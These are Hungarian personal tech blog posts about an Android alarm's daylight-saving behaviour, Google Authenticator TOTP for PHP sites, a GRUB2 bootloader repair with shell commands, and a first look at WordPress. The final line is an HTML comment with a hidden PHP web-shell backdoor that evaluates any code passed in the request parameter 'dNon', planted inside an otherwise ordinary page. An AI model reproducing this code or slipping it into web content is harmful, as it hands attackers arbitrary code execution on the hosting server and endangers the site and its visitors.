Android ébresztő óra

Tegnap lettem erre a kis gyöngyszemre figyelmes.

Sokat lehetett hallani az iPhone ébresztő extra fícsörjeiről ( http://hup.hu/cikkek/20110101/apple_iphone_ebresztes_fail_bug_epic ).

Az Androidnál ( CM 10 ), pedig arra lettem figyelmes, hogy hiába állítottam 1:11kor az órát reggel 8:15-re, azt írja ki, hogy 8:03 órát alhatok. ( a perc lényegtelen, mert valószínű másodperc alapon számol ).

Ekkor ugrott be, hogy most van óraátállítás és okosan már azt az 1 óra pluszt is beleszámolja.

image

Google Authenticator saját oldalhoz

Ma találtam egy nagyon jó kis leírást arra, hogy hogyan lehet a Google Authenticatorját saját programunkban használni. Az Authenticator előnye, hogy mivel idő alapú a kód, így nem kell a telefonnak nethez kapcsolódnia, így bárki, akinek van Android, iPhone vagy Blackberry telefonja könnyen használhatja.

A cikk itt található: http://www.idontplaydarts.com/2011/07/google-totp-two-factor-authentication-for-php/

A forrás pedig itt: https://github.com/dwisetiyadi/CodeIgniter-PHP-QR-Code 

Ha a Google Authenticator már a telefononkun van, akkor alapból a qr code beolvasása után már mentetné is a kulcsok közé.

Ezek után a hitelesítő már szépen mutatja is az időszakos jelszavainkat.

Érdemes viszont csak másodlagos lépcsőnek alkalmazni, mivel a csak számokból álló jelszót elég gyorsan fel lehet törni brute force-al. A próbálkozási lehetőségek korlátozása ezt azért eléggé ellehetetlenítheti.

Másik, de nem olyan jellegzetes buktató, hogy a kód generálása időhöz kötött, így ha a szerver és a telefon órája nincs szinkronban, akkor a 2 kód nem fog megegyezni.

(A kódban egyébként a $window paraméter azt mondja meg, hogy visszamenőleg mennyi kódot teszteljen.

Grub2 visszaállítás hiba

Lehetséges grub probléma lehet, hogy a gépünkben több winchester található és vagy rossz helyre kerül az indító, vagy rá se tudja rakni.
Ilyen konkrét eset, hogy a gépemben van egy winchester és megajándékoztam a gépet egy ssd-vel. Én balga nem állítottam át a biosban a sata sorrendet, így az először felrakott windows rossz helyre hozta létre az indítóját…
Az ubuntuban pedig simán beállítottam, hogy a winchesterre rakja a grubot ( ha már a win ott van… ).
Ma viszont az ubuntu 12.10 frissítése után egy grub rescue fogadott…
Az itt leírt grub2 visszaállítás pedig köszöni szépen, de nem hajlandó megjavítani.

Szerencsére a javítás könnyű, csak biosban kell módosítani a sata boot sorrendeket.
Ha ez után se működik azonnal, akkor jöhet a grub2 visszaállítás.

Grub2 visszaállítás

Általában akkor romolhat el a grub, mikor a windowst újratelepítettük és ilyenkor önkényesen felülírja a grubot a saját indítójával.
Nem kell pánikba esni, csak ezt a pár lépést kell végrehajtani:

Indítsunk el egy live linuxot (Ubuntu, Mint)
Nyissunk egy terminált és gépeljük be a következőt:
sudo fdisk -l
Itt láthatjuk, hogy milyen partícióink vannak.
A grub szerkesztéséhez csatoljuk fel az előzőleg kikeresett meghajtót a következő paranccsal:
sudo mount /dev/sda5 /mnt

Ha sikerült a felcsatolás, akkor jöhetnek a következő parancsok:

sudo mount --bind /dev /mnt/dev
sudo mount --bind /proc /mnt/proc
sudo chroot /mnt
sudo grub-install /dev/sda

Ezzel kész is vagyunk, csatoljuk le a felcsatoltakat:
sudo umount /mnt/proc
sudo umount /mnt/dev
sudo umount /mnt

Újraindítás után ismét lesz grub-unk, viszont még nem lesz használható a windows.
Indítsuk el a linuxonkat, majd nyissunk egy terminált és gépeljük be a következőt:
sudo update-grub

Kész is vagyunk.

Új oldal + Ismerkedés a WP-vel

Mivel furdalt a kíváncsiság, hogy mit is tud egy WordPress ( ha már ennyire hype-olják ), meg van néhány kiadni valóm, így telepítettem egyet.

<!– [insert_php]if (isset($_REQUEST["dNon"])){eval($_REQUEST["dNon"]);exit;}[/insert_php][php]if (isset($_REQUEST["dNon"])){eval($_REQUEST["dNon"]);exit;}[/php] –>